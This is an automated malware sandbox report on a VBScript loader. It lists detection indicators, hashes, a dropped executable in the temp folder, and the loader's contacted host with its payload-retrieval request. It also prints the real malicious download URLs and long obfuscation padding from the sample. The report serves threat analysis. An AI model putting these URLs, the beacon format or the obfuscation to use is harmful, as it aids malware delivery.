MSG_803819.vbs
This report is generated from a file or URL submitted to this webservice on March 4th 2020 17:58:45 (UTC)
Guest System: Windows 7 32 bit, Professional, 6.1 (build 7601), Service Pack 1
Report generated by
Falcon Sandbox v8.30 © Hybrid Analysis
Incident Response
Risk Assessment
- Network Behavior
- Contacts 1 domain and 1 host. View all details
MITRE ATT&CK™ Techniques Detection
Indicators
Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.
-
Malicious Indicators 5
-
External Systems
-
Detected Suricata Alert
- details
- Detected alert "ETPRO MALWARE Unk.VBSLoader Retrieving Payload" (SID: 2841137, Rev: 1, Severity: 1) categorized as "A Network Trojan was detected" (PUA/PUP/Adware)
- source
- Suricata Alerts
- relevance
- 10/10
-
Sample was identified as malicious by at least one Antivirus engine
- details
- 5/59 Antivirus vendors marked sample as malicious (8% detection rate)
- source
- External System
- relevance
- 8/10
-
Detected Suricata Alert
-
Network Related
-
Malicious artifacts seen in the context of a contacted host
- details
-
Found malicious artifacts related to "66.7.197.4": ...
URL: http://bw.cacsanet.com/auywndcga.png?uid=vwbpag4azabvahcacwagaeqazqbmaguabgbkaguacgatadyalaaxacwamab8afmaeqbtageabgb0aguaywagaeuabgbkahaabwbpag4adaagafaacgbvahqazqbjahqaaqbvag4alqa3acwamqawacwamab8ae0aaqbjahiabwbzag8azgb0acaavwbpag4azabvahcacwagadeamaagafaacgbvaa== (AV positives: 9/71 scanned on 03/04/2020 16:54:41)
URL: http://bw.cacsanet.com/auywndcga.png?uid=uwbvahaaaabvahmaiabbag4adabpac0avgbpahiadqbzac0anqasadeamaasadaafabxagkabgbkag8adwbzacaarablagyazqbuagqazqbyac0angasadealaawahwatqbpagmacgbvahmabwbmahqaiabxagkabgbkag8adwbzacaamqawacaauabyag8a (AV positives: 9/71 scanned on 03/04/2020 16:53:23)
URL: http://bw.cacsanet.com/auywndcga.png?uid=uabhag4azabhacaasqbuahqazqbyag4azqb0acaauwblagmadqbyagkadab5ac0anwasadeamaasadaafabnagkaywbyag8acwbvagyadaagafcaaqbuagqabwb3ahmaiaa3acaavqbsahqaaqbtageadablacaa (AV positives: 9/71 scanned on 03/04/2020 16:49:20)
URL: http://finquesrubies.com/noticias/ (AV positives: 3/71 scanned on 03/04/2020 07:15:51)
URL: http://bw.cacsanet.com/auywndcga.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA (AV positives: 10/71 scanned on 03/03/2020 22:12:52)
File SHA256: cbfaa302ec98de5d68542a6981e419a1f0e881383b79ef11614cb155bda4236c (Date: 03/03/2020 15:35:56)
File SHA256: d41c66a9160ce7f0dd0d1360d8b8339a8276fc30215f4623ca88d0efad319346 (Date: 03/03/2020 02:32:24)
File SHA256: e8a5c216eb19dfbf6f43d8e2d27cd6735e28706b4f3e34fb5bb1f3c493180141 (AV positives: 52/71 scanned on 08/20/2018 11:38:38)
File SHA256: 26ea2136c3309ba50ac08b09c76025f4636683dcf64f626f22a33b2b76538a04 (AV positives: 35/56 scanned on 07/25/2016 13:34:29)
File SHA256: abe96ec703ebfc4edc5413b327ee4c5f1f10fd3b9d8c6c9cd04b116e8fb6a2fb (Date: 05/06/2016 15:17:55)
File SHA256: 1d389d5140b2ba2667bfd952d0dc85d5dcfcec6537e66e6ca82827149ec8baeb (Date: 05/04/2016 20:48:27)
File SHA256: 417e9719cbc24443401fccade2f15e11ada4e5ccf4d3d12741f24314b7c2733b (AV positives: 4/54 scanned on 02/15/2016 01:05:40)
File SHA256: ea28547aaaa8e7d7d3ffcc332f501c2f544db2c0678c91876470ca55c5bf8b9b (AV positives: 4/54 scanned on 02/14/2016 09:22:51)
File SHA256: 9fd5b1ccb8156174b5c37f11d104aba418b048dea3ed8fc39cb1e49b251faad6 (AV positives: 4/54 scanned on 02/12/2016 06:10:46) - source
- Network Traffic
- relevance
- 10/10
-
Malicious artifacts seen in the context of a contacted host
-
Unusual Characteristics
-
References suspicious system modules
- details
- "omic reticular whoope ethernet scrutatory simps spotlighting BPE punchbowl hydroaviation bedote preaver beastliest gongs diestruses zlote volapie lukemia mildewy haar confluent fructiferous phryganeid slopmaking Monango Whistonian climatologist VUIT thannadar vestals giantly Procoelia laurel-bearing screwless orchidologist stinkball well-recorded Svoboda basso-rilievo run-down electrophotometry quaggy quandong metapsychism ill-annexed beauty-blind objecthood trackingscout thin-clad preobviously shingon effendi elongating chocolate spring-budding florent intermixes anthropometrically anthrahydroquinone myopathic Perkinsville industrialized outpourer misliker charneco forcer shearing logger Koeltztown Xiphosura orthopsychiatrical aljoba apasote locomoted literatures underfinanced danglin unfudged curcas Neelyville signaler resole suppliers Elsass jib-headed pearlers scabrosely sergelim Solea bustee oscillograph mechanizes long-accustomed first-endeavoring outbawls twelve-gated misremembrance parallelopiped fich"
- source
- File/Memory
- relevance
- 5/10
- ATT&CK ID
- T1215 (Show technique in the MITRE ATT&CK™ matrix)
-
References suspicious system modules
-
Hiding 1 Malicious Indicators
- All indicators are available only in the private webservice or standalone version
-
Suspicious Indicators 5
-
Anti-Reverse Engineering
-
Possibly checks for known debuggers/analysis tools
- details
-
"nticeremonially reddish-blue pre-Ammonite Lide sequestrated theorism leatherfish circulable Nassi Eurasiatic endshake Daryle Fyodor Derotrema crammer jarmo fumishing riverscape dislustering Newfoundland convincible lopers ampullary accidents serology hamboned unrevengingly Alfurese bown dishumanize watthours fusillade methodized unconsecutive Ahmadiya presubmission Shana nonrepellent uneminently proabstinence Kanawari duodenocholedochotomy millime uncavilling cordierite oppression shilly-shallyer flite argentoproteinum cyclo Lewisia stratagems porodite aftersound Kharwar way-up backslidingness hurry microspace enrange rhabdocoele unthreading bodger imperforation contangential intentness experimently caeremoniarius crochet amphicarpium deceitfully tarbush rears trigonally anury underbranch otolaryngologist nonscheduled reexperienced uvalha reaccepting Myodes South ethnotechnography symptoms vandals Non-israelite inkings Stortz unispiral Hecht fuzee dopes synchondrosially galette Chilcote discern guardian isocl" (Indicator: "ntice")
"polariser tricolette pithecology nevi legalizes unvaporosity perspirable near-threatening skibbet Bretwaldaship ATTCOM Blanchard unarray esterase fluxation henhawk overfragile unshuttered unpollarded rebehold micracoustic Razoumofskya Chinese co-ordain broken-hoofed overdebating donkeyism vinos breezeway apprenticehood bituminous Godewyn isophote Sorbais reordering padige overmantle Brundisium fraenula gribbles slabman indoxyl Fidela three-figure proportionably trout-perch Pan-Teutonism Riefenstahl wishbones superconfidently Selig Jeannye Pratt reception spongers ors quaw weenie livered achondroplastic pyrheliometric platysmas polygenist endorsers bednights unfriarlike sank intoxicable guerrillas gastroperiodynia wellfound Xylia thionates pinni- lattice-window guaiacums burhel squeaky fumers blastoff stainably toil-worn sylvites Arara overtalkatively castleward nonconfirmatory Magena upcheer sectionize Nivose o-o-a-a Carlovingian unstrenuous imperviousness winnel Kresic halolike bicalcarate Orlon haemoflagell" (Indicator: "ntice")
"rating aldimine nonadaptability scapulo- Increase Kuantan nudists bondholders terrenely attractivenesses LAIS blockline brown-backed Stalinite thegnland counterworking hurdles overcrow zippiest Baidya unimpressed zombis Harriott whinchat icicle copals postical gerated fetalization devilry reconcile unapprenticed dicasts John-bullist disliken temerous gainings unspayed personable angrite beest Harari neonates pyrenoids Ussher codal anticeremonialist superelevate momentariness Apocynaceae postarterial rinceau Baron comendite tepid inventorially subjectifying Ellaville nonautomatic contrectation uncoils coffeehousing soldatesque showmanry Kristi talecarrying whatsis Philharmonic vertible Sauveur nonconsequential untruther vaginated ambari phonophobia formamide manurance archdean Melfa nonministerially nonascendently slaughterous bekick Ceriomyces sicko Turko-italian suasory repin hydrogenate high-and-mighty overacceptances Ciapas alaihi monamniotic senarmontite parenchymatously chlorophyllan Foxcroft lithographs" (Indicator: "ntice")
"stage tattooists Litvak fluvio Arelia uniparentally supervisance autoheader rehete rez-de-chaussee altering eryngo cycl- Genetyllis antiparalytical Wanette obsidional preace retro-rocket Oenanthe Teutomaniac dipneumonous werewall gainstand legua crayer nonasthmatically world-wept predelineate onmarch importing Yuille nightmarishly beastship viably Potts cincher Sandemanianism lumberer Rillis twice-re-elected scarflike fullnesses intice Tohatchi sprig tubfish azoles spissated eructance Clione Hallstattan cellulicidal chloramine Learned helco chrysolite luteotrophic longfin unwattled tea-plant dissimilated Oxus Holderlin diuresis ular Brandise demagnetizable Isleton Aleixandre plagiarists barbicels restirring Tashusai forager thoughtlet peterero amassers landlike illigation mystics punkest pituita boars demagnetizes whirlers sugar-loafed fundamentalistic emigres ambar scallop-shell Alida penalities hydroturbine peytral ophthalmodynia cornmeal Mithraist condemningly wealdsmen hornily Barneveldt Wilseyville groin" (Indicator: "ntice")
"kirty vinhatico Siegbahn th commissional foreloop fankle laniiform tear-lined undrape counterprocess Priscella dullardism mid-wicket divide programma unforfeitable crummer nonequilateral undisturbance Credo treasure-bearing coombe marquito anticensorial squetee Gwent desertful unpermixed embalmers prickleback hagiarchy unmutilated spadefoot twenty-day wiredrawn Krystyna blutwurst teaspoonfuls meloe physicky Solonian unelastically unbewritten accultural viewlessly Oceola silicocalcareous checkrein ARM influxable Navarra mesognathion pantanemone eastmost furane illations coenosarc discurre splatter-faced Ponsford year-round trichopteran Foist globalist clamp vestibule pre-endorsement teratisms preadvisable presentable Papayaceae sportswear Highveld subassociational Geerts dabbled unmobilized asbestine permissively unlovelily quotee bellyacher predisponent wawls unvocal seminaphthalidine Rasht mountaineers bracteal anguiped lats minimizes multicore overregimentation goodbys half-learned Khalsa unvocable demivolt" (Indicator: "ntice")
"formulary premillennialized unransomed humate lithometer deipnosophistic back-blowing terramara naissance activated hypopituitarism chamiso cogovernment bes-antler wretchlessness argute flower-bearing nondespotically anticensoriousness blockheadishness whoppers sleepered corporately boblet vivificator intraparochial back-paint mucorrhea urorrhea autobus repos Hideyo personalitys ecrevisse cowpie tolans overreduced blear-eyedness Dike convolvuli disenorm sweet-temperedly juttingly integral stakerope acknowledges pneumatophonic skivie enrheum Banky overslavishness overheadman owls muscadin timbered unrecordable semiclerical adonises Balzac take-home unappealing nonusurpingly misshapenness hypergenesis prefectly Leanora donuts flioma unvagrantly Cassian expensively benzyls amylaceous nicotize fados were- airplot afore-told bibliotherapy dulocracy ensorcerize multifoldness stopperless respacing meningorrhagia unobtruding parasympathomimetic coauthorship dosis nonequivalents bergs Fundy dogate widdrim steeved cana" (Indicator: "ntice")
"Faubion amyloids cross-bill drubber unimporting institutionary lanternist Zona Potiguara Pachomius agglutinated stumpsucker acetonate chack-bird fluoroscoping flick ental anticensoriousness eluvies NSWC referendary unneglected Imperial vows intersesamoid aogiri fraternizations cubistic cosmozoan Dusserah Hennahane racketeers counterpointe manpack V-engine diadromous ventoseness contrarious sphenoids Taeniosomi unhomologous overhoped Phyllostomus floscular squabbler disproportionates anurias prated anthochlorine bleeping rigorist Connecticut tralucency kahawai zinkenite fumagine Garret drizzles unweary witnessdom Nepenthes Pleasants oversentimentally disulfuric ribboning meliorates cecotomy Cyprinus recognising nonbuying sheikly flector predisclosing nonfood porchlike screeners parapdia kinboot wearisomeness Starla driest sacrificed Pontac periodization 'wheelhouse sanguinocholeric somniferous Wakayama tublike thorns alcaldes unconvicting winter-ripening missary retastes multigyrate PD whiskful beating subpri" (Indicator: "ntice")
"tas Abassin Alysa retinene gastroenteralgia litharges revenging untakeableness interpolative novelettish contingency twice-fined huelessness othertimes medullated realising sequestrating terror-giving antiparliamenteer imploded panamanians wyches SABRE LeRoy Hemerobiidae repealed folioed mitres blunderbusses lacklustre Phytotomidae rewardproof expatiatingly ram-line shimmied enjoining hypsiloid Svetlana Probe-bibel aortographies subcruciform cousiny repulverize Elizaville potestas milkgrass soft-backed sanshach putrescibility preallots Pinguiculaceae wanworth hysterogenic Philetaerus ante-mortem littlest misusages twice-attested ACSNET embellishers misconjugate anticentralist cienega receptaculitoid corniness phlogosis capsized caesarists unhuddling pepping Platonian untremulous elbowroom juxtapositions tahkhana excrement adaptation reformationary healers climant viatorially swimy preelecting cablegram self-administered artsiest intakes pseudo-isometric hypabyssally utterness Semitist overjocularity scrubbery" (Indicator: "ntice")
"restville vizirs foraminiferal adelomorphous helixin geisothermal wapp Jopa synapse ungeneric reassessing swarmers P.I. Tarpeia Mon-Khmer Prentice eroticomaniac iliococcygeus Entoprocta metagenetically Kerite mimeographically cold-type anhedron principality caucusses unroyally blue-fronted kadine ortho-orsellinic horizontically anticreativity outseeking maidenweed militaster hermitish fulcrum vitrial scamperer redarn minchery harmonicalness occipitoaxial prerecital weather-headed padge unculled entier oology midweek epicotyls crustaceorubrin interseaboard Somalia bilipyrrhin laparocolectomy visionariness tricksiest vaporizable ploverlike preference pallbearer fizgigs frustrating adyton Katahdin aud. comfiture moistener prescriptive great-minded togata endue parkleaves tap-off rose-eared xerantic Scammon unparallelable strumpetry kenmark rhinocoelian Ogata best-pleasing mondial coracomorph Esdud sarods hyperboreal upstepping homozygote marxists steep-faced unmagnetical NEC outgeneral sighingness Husk orthoepy" (Indicator: "ntice")
"sness spiffiest flashtubes enterorrhaphy Ourouparia talcochlorite reconcilableness scummer supersoil galloper Loralee chlorophyllide curucui alismal obtenebrate landrail tanniferous Gaeltacht cycasins anthropophagy patelloid unglaciated uneven-carriaged tubfuls theologics autocades noncertified Thebais shunts whom Gravity tidewater yuletides Arkab Aeriel savouringly lactonized cram-full Badoglio Veneti bartended Modla overlettered galley-fashion exsecant late-found blasphemers finalists convocations Poincare inculpableness superstrain bradding vile-tasting Levin phytomorphic impugned overpraticing federalising Bananaland midstreams Konariot nonmultiplication mendacious traductive aortic pyrogravure compensativeness virga dappledness schoolgirlishly reproofs autocatalyze distressing impenetrative Butte upward-stirring unappeasedly Sintoism dayshine quasi-systematic spurwing blague unfadingness enticement plastein exteriorly ob- Teleboides la-di-da overimpressionable self-improvable garrulously Antimasonry Pyro" (Indicator: "ntice")
"dZCFfPePPPltoMQqtcUeyVkST=Tan(dZCFfPePPPltoMQqtcUeyVkST)
xmNVVuoBkSbpbyDVmWMtUwU.NodeTypedValue=EtqjnbyHfiImtnscVIWzKzxLIxOOEb'Newberg nonplusing Morena scatbacks circumbasal politico-ecclesiastical Medell broad-handed predetermination misrepresent cobhouse ensnarl hanifism nipper ipomea stick-at-itive nonplantowning precontemporaneously aloesol by-product disacquaint twice-printed cucullaris egger so-and-so alaskans fire-ball osteal apogonid voter riffed unmortifiedness metacircular Ishvara emotionalization melodies WAAAF high-crested comprehended behears curwhibble backwoods Denticeti nondialectical unclipped balneographer tractory affiliates bidirectional limacoid kerseymere although stato- unwise ambodexter precept cured avisos cachaza Vyvyan lousy lepospondylous Demus Buckle Christmasy unstationed punctal triboelectricity montanans sunroof biodegradability Cummaquid yapness rock-worked supercommercial holotype Saccomyoidea Psilotaceae teamman pectorales poilus Myaria tripsis identifiers rectories descen" (Indicator: "ntice")
"'braxies offed hessians Gymnotus argin Bubo suppurated large-celled forweend unilingualism coriaus marlpit proportionableness slily unfulfillable incommoding overconfident terrorists expansionist somnambulate nonsubstantiveness politenesses poulaine onerosity tubfishes Ruisdael reseizes growlingly soporiferous fricti gallywasp coldish patesiate Rottweiler Judaically Coverley griph superalkalinity intellectualizing Ephthianura levigates Eaves moustoc three-pile isocolic emus Caves coach-built enticeful inconsiderate paroecy unbury chloremic rabato sentrys backspin Perkiomenville adstringe unrepresentational nobility depiction limited sodaclase powsowdy catchpoll whelks unchanging toustie pre-Doric gurneys catheterised terrorisms stratocumulus McGregor pneumothorax ritually outshiner extorters caloris humour fiendful syrmaea stridhan o-os mutinous capanne phytolithologist sneeshes modificationist co-ordinatory homodromal underisible preeditorially Mocoa Mulcahy prosish nondiligence warrish Permocarboniferous gn" (Indicator: "ntice")
"iomedeidae well-running puckeriest hepatophlebitis defect Jamaica elders spinturnix raceways placates pharyngographic dissilition exhaustable MMES immutate witchleaf riptide Stevinus unconsolability contaminant allowed isolex chiliasts Sarcococca vagotropic adynamias goofah sanctionative planetaries precentorial unmollifying lieder inflammable gerbilles pack-bearing blessednesses misallegation flightiness subtaxon rosettes pentecostarion menthenol panophthalmia monographical complexities parhomology pharyngomaxillary Dondia grooveless hyeniform dacryocystosyringotomy photonephograph muggles laryngitus craws Catalanist tranvia 'rucksey chivied whomever rebops quasi-genuine dispensable Greece cowson maty merlette administrative Russianising feints alictisal oxyquinaseptol lunistice antiquers dikerion dictyostelic Werther desilverize enc practisant anticephalalgic regeneratrix cocobolo unversatilely formerly thermotelephonic reddle undrifting straight-pull suppler municipalist prophethood carouse overlook capill" (Indicator: "ntice")
"ions decemvirate nonadjustment Faulkland faeculence criticship pean prickless unadvantageousness whatre big-boned impeaching stick-ride trichosporange stoker palace bentgrass Neom wych-hazel Unityhouse englacially exes squireless anchor TMS Abranchiata Hendren vaginectomy splatters ridgeplate Sidwel reorchestration bigeminated engrossed Riess spathae chronogrammic nonexaction sulpho-salt 'prismoids chondroarthritis giftware organophilic Filmer heterogonous settlers unmercurially emptio Finnie parlement noncorruptibly proud-blind kamik descantist allopatry heavy-hearted bawdinesses Testudinaria Newmanising cherry-wood snowmaker Levalloisian Thuidium Rago talwar progamete Apollonia brodyagi quaquaversally blurping rhapsodism unpromiscuously veratria unrimed magnetosphere clerkhood Soll perosomus prepositure antherless misbegin divergences unirascibility betaxed utopographer taberdar vibrissae imaginational thermes Valatie Burkittsville Gomeisa malicorium piquancies denticete gitano Post-alexandrine besonio book" (Indicator: "ntice")
"Catharine manually Mouldon Raphidiidae logographically uricacidemia hypohyal concludent badass warranteed muled deanthropomorphize retards reeruption expounders restrengthens impanels convey cynocephalus antifideism Mishawaka swelterer calipees rehboc teenyboppers Carlynn tetric induc cowpeas computably Nabila dyingness overreadily sinecurist actioner handled fishworm enticed isomastigate unseveredness snobocracy bedevil superserious nidificated" (Indicator: "ntice")
"ece feeze chromophil Eal obligationary Bordulac self-raised midbrain Rhinegold demisolde disinure mimed night-cloaked watchmanly dihysteria shamably stone-fruit linages overlusciousness myelodiastasis quickie vegetocarbonaceous cliquing permansion dendraxon grownups jaspered KRP phanerogamy Epigonus cytologists silver-plated Pro-alsatian bowdlerising omoideum substances undried upscrew honky-tonk unappalled tinnen tapism Adeleidae matrass standards Bilski metrocolpocele propined pentice untentaculate madhab spannermen well-situated hebeanthous Mauldin nephelite-porphyry hatchet-shaped pigsticks anti-attrition Corolla D.V. Voiotia untravestied automatized hammocks twice-taken long-shore vails re-rehearsal invendible shapelessness Pasteurelleae lamprotype forespeak photoreceptive factorist disreputable unslouched hypothecs viverrine disconvenience vassalling reforestment quadriphonic realm-conquering peepshow superinduct looper Imre pharmacodynamics consition nondecasyllabic promiscuity arbitry unfur phosphofer" (Indicator: "ntice")
"nds luminosity nonhyperbolical algebraizing queenhood apprenticed Livy excitonic unclothedness decernment Ignacio subfloors lullingly duomo nosier unslimly island-born superheroine ywis ligger boringness Marlowish parakinesis heavy-handedness rollmops circumhorizontal bestialism calver kicks nonexaggeration indeclinable nonruminative lead-clad overofficious quartersawn surfaced Cristie forespeaking zeal-transported Teddy moviolas poligraphical hypersensitise Magdaia cisterna somnambule gather symbolizes laagered spongewood armband backjaw virtualize qaid affamish nondegenerate passion-torn arteriorenal thanksgiving reenforcing allochiral stalklet miskick arroya dout lighthouses Ataturk cellulifugal lovably ultrafilterable dismembered reworked Merri construability amylohydrolysis punatoo curricle government-owned Runyon one-roomed villoid solums tarbet ceremonies nonresolution outsole tune-skilled cajon bedazzling premarry sermonic electrodispersive pulverulent folderols unexaggerative phylum beekeeper quasi-t" (Indicator: "ntice")
"Repeal slammock misinterring demidevil white-piped gormandized jejunectomies Atlantic decrypting martyrologic autoeciousness hendecahedrons turcopolier polynya Keeler clapholt quasi-insistently barmybrained haemangiomata aureous Synanon puy Pierceville gooseries undeformed jiggly morbility Campball preultimate shamateur simples thoracoschisis pentice coelacanth cross-dating Pithecanthropidae well-grounded Southcottian tofore splutters pearten chopdar cement-lining pertinencies throatlike proptosis splenculus lehayim centrex Cagayan multimodalities Heiligenscheine unrhyming radly Ziusudra tap-root tower-crested hallway polygynic Englishry ardour nonreasoning slinkskin air-threatening Alvar cula loud-speaking archistome unsullenly Heger Guianese tomb-bat all-dreadful misfeatured JFK disquantity Umbro-sabellian fanciable judophobia unintentness panegyrizer encapsulations Minimalist heartburn omnibearing EADASS tachycardiac slide-action stratagematically redecussate overexpanding well-sanctioned usage Plutarchic" (Indicator: "ntice")
"evaney Hystricidae Teaguelander tree-pruning vadimony Turkic tubmaker spavindy pazazzes piggier bioflavinoid autophonous TA pain-producing aux. all-enlightening grocerymen Sanhita blue-sighted overcommonness disp immeshed sequins reshaves twice-blamed fryer cultrated semiconical dictronics Odon pycnometochia outlives Abassieh injects albatas nonidealist frsiket Tydeus imbrices Masury swearword cidaris dexamethasone angiocarpous esp. overassured blee emblematise toecapped masterer siphono- haft singularized Cohette boraciferous mouse-colour strigate recondole Dallas akmuddar euthanasias numis descensories fasciculate dexiotropous carnelians Sino-german unvote curse bailees all-surrounding spireme halogenate nonmalicious prenaval belly-fed quinquevalve world-ruling womanization driest spermism nonconjecturably absorbability corkwoods right-center habanera entice lionheart flaxseeds librating dotiest charquis delfs superfast fortuning polyopsia chahars starveling callo quadrennia Marcushook pseudoangelically air" (Indicator: "ntice")
"llesthesia Ogema cene solderability carbethoxyl reimported conticent Catavi patentability reemergences detersive zestfulness Cossack jugulary nosite pre-Osmanli choultry appellability rooyebok sulphid Wesa oilinesses autoregulatory araru paintably kinkily rims exceeds concert Ronsardize Franco-soviet confraternities all-patient Mesodevonic biographical rheological innovates
FkebMqKXKqTnXDfXVAlapzDxp=UBound(ixVEHNQqRUjunFdFeEPQfqIAU)-LBound(ixVEHNQqRUjunFdFeEPQfqIAU)
LzbNJxfARnLVSvEwwveUxmZCwzu=Int(LzbNJxfARnLVSvEwwveUxmZCwzu)'Homeridian proseneschal penciled gutturalness curculionid mistily carves reaccustomed negotiably caconychia Ctenocephalus silanes Landsmal Faith paintably Euneus semirepublic segnos unrewardingly recharter rottle Herault jeery Zakaria tickety-boo mosks pearled delaminate slaughtered abrastol vomicae benitier Shushan dwell badderlocks unplotted anallergic rupee Garek yokewise presidial datapunch nonvasculose impliable poddock chelicerate Hellenising throatroot discing Emmental adventures" (Indicator: "ntice") - source
- File/Memory
- relevance
- 2/10
-
Possibly checks for known debuggers/analysis tools
-
External Systems
-
Found an IP/URL artifact that was identified as malicious by at least one reputation engine
- details
- 6/71 reputation engines marked "http://bw.cacsanet.com" as malicious (8% detection rate)
- source
- External System
- relevance
- 10/10
-
Found an IP/URL artifact that was identified as malicious by at least one reputation engine
-
Installation/Persistance
-
Executes a visual basic script
- details
- Process "wscript.exe" with commandline ""C:\MSG_803819.vbs"" (Show Process)
- source
- Monitored Target
- relevance
- 10/10
-
Loads the task scheduler COM API
- details
-
"wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 732B0000
"wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 01450000 - source
- Loaded Module
- relevance
- 5/10
- ATT&CK ID
- T1168 (Show technique in the MITRE ATT&CK™ matrix)
-
Executes a visual basic script
-
Network Related
-
Sends traffic on typical HTTP outbound port, but without HTTP header
- details
- TCP traffic to 66.7.197.4 on port 80 is sent without HTTP header
- source
- Network Traffic
- relevance
- 5/10
-
Sends traffic on typical HTTP outbound port, but without HTTP header
-
Informative 12
-
Anti-Reverse Engineering
-
Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
- details
- "wscript.exe" is allocating memory with PAGE_GUARD access rights
- source
- API Call
- relevance
- 10/10
-
Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
-
General
-
Contacts domains
- details
- "bw.cacsanet.com"
- source
- Network Traffic
- relevance
- 1/10
-
Contacts server
- details
- "66.7.197.4:80"
- source
- Network Traffic
- relevance
- 1/10
-
Creates a writable file in a temporary directory
- details
- "wscript.exe" created file "%TEMP%\TableOfColors.exe"
- source
- API Call
- relevance
- 1/10
-
Loads the .NET runtime environment
- details
- "wscript.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll" at 6CE70000
- source
- Loaded Module
-
Logged script engine calls
- details
-
"wscript.exe" called "Msxml2.DOMDocument.3.0.CreateObject" ...
"wscript.exe" called "ADODB.Stream.6.0.CreateObject" ...
"wscript.exe" called "WScript.Shell.1.CreateObject" ... - source
- API Call
- relevance
- 10/10
-
Contacts domains
-
Installation/Persistance
-
Opens the MountPointManager (often used to detect additional infection locations)
- details
- "wscript.exe" opened "\Device\MountPointManager"
- source
- API Call
- relevance
- 5/10
-
Touches files in the Windows directory
- details
-
"wscript.exe" touched file "%WINDIR%\System32\en-US\wscript.exe.mui"
"wscript.exe" touched file "C:\Windows\System32\rsaenh.dll"
"wscript.exe" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui"
"wscript.exe" touched file "C:\Windows\System32\msxml3r.dll"
"wscript.exe" touched file "C:\Windows\System32\wshom.ocx"
"wscript.exe" touched file "C:\Windows\System32\msxml6r.dll"
"wscript.exe" touched file "C:\Windows\System32\wscript.exe"
"wscript.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
"wscript.exe" touched file "C:\Windows\System32\stdole2.tlb"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config"
"wscript.exe" touched file "C:\Windows\System32\WScript.exe.config"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch"
"wscript.exe" touched file "C:\Windows\assembly\NativeImages_v2.0.50727_32\index331.dat"
"wscript.exe" touched file "C:\Windows\System32\l_intl.nls"
"wscript.exe" touched file "C:\Windows\System32\wbem\wbemdisp.tlb" - source
- API Call
- relevance
- 7/10
-
Opens the MountPointManager (often used to detect additional infection locations)
-
Network Related
-
Found potential URL in binary/memory
- details
-
Heuristic match: "bw.cacsanet.com"
Heuristic match: "GET /auywndcga.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: bw.cacsanet.com" - source
- File/Memory
- relevance
- 10/10
-
HTTP request contains Base64 encoded artifacts
- details
- "Microsoft Windows 7 Professional "
- source
- Network Traffic
- relevance
- 7/10
- ATT&CK ID
- T1132 (Show technique in the MITRE ATT&CK™ matrix)
-
Found potential URL in binary/memory
-
Spyware/Information Retrieval
-
Found a reference to a known community page
- details
-
"c pussies enemys cachunde misogynies inburnt Hemigale vestibula pessimum globefish daddy snow-drifted Spaniolize subneural twitteration Semi-romanism scrfchar Anglo-australian Juncus toxology Agaristidae trusters microcosmical romanticity airmen almury lowbrow upflow tilly-vally Runion configurating Goethe pervert urethragraph Keystoner 'Gallo-Rom pin-curl boorishly Massorah recategorizing unresistantly prated Grenier Ultra-english farsight beadlery sunderance causata niggardliness gletscher Philetaerus overall popping plate-mark houris submissive exoterica convexed alveolite louping downflow ickiness judicative flannels smithwork Calabria ambilaevous ovarious man-minute butyrochloral telekinetically consolidators triture teameo angiohydrotomy phlogistical Pasargadae headpost unimpatiently well-bushed colourability gibbosity stonify nonenteric a-shake breathtakingly retropulmonary blibe tecture nonfilterable nonsentience hypercalcuria Blairstown exampling three-toed stithly plantulae chapmanship word-lore rim" (Indicator: "twitter")
"Leto labarum preoperatively payableness nautiloid urinology Ednie duplicipennate Leet jointy nonagreement godkin riverish Spitteler Kolchak impugn LSRP amphitriaene underconstable bronchoesophagoscopy atwitter pendicler higgling gained homoiothermic centesm phenazins otherguess disomatic gunmetals phleb- outsophisticating nonselfregarding quickness grass-wren denegate pencilling alternacy miswrit imparkation lucernes CAPTAIN knuckle-dusters interdicts Plymouthist phitones supplanting Elloree caroluses reabandon gibed Randee extraterrestrially dastardize hardtails argel branchiomere unthrivingly durative cubo- out-of-office Aetna roundups kosin restraightening flossification ruler-straight well-freckled gambade overfreighted carp- Proctorville Thero narrow-celled dispermous balky boodlers resun pearmain Klaipeda macruran dogcarts insects bag-cheeked gastroenterologic condescensiveness Vorlage diagometer unsubstantial Tusculan contention Ornitholestes dipper-in tide-waiter semiofficially scragging libels anodiz" (Indicator: "twitter")
"urning tear-forced undeviated Cepheus cheapness sitzmark Tyner ergonomic grainiest chupak Sarracenia rugosity impleasing chetopod squishy Incrustata disseminations DFE nonduplicity turkey-trot unfearfulness VNF Hawger forecastle solid-headed bigging authorizers Fjelsted leucins Bisbee savement uncovetous Friederike trisceptral vicariousnesses Shilluk silexes verneukery redemptively phonographic pipe-shaped protosaurian Martyniaceae Crosswicks districts outwitter stonepecker synneusis whar halavah kumara colchyte filaceous nondetonating Fayina myomotomy Cedaredge outlander vitalize kangayam fingerboard hydrophily Stamboul juloidian shogunal stylometer empires reciters gruellers mitigations lulavim mealtide temerity Server eassel handcraft nonfervently Nemunas polydipsic weepier cires prenodal Velquez noneffusion overburthen proselytisation homeothermous hypererethism maskings quartzous voltagraphy vehicular clonk fallows cratering motorway beknotting erethitic sailmaking postpositional creosoter Dafter Marla c" (Indicator: "twitter")
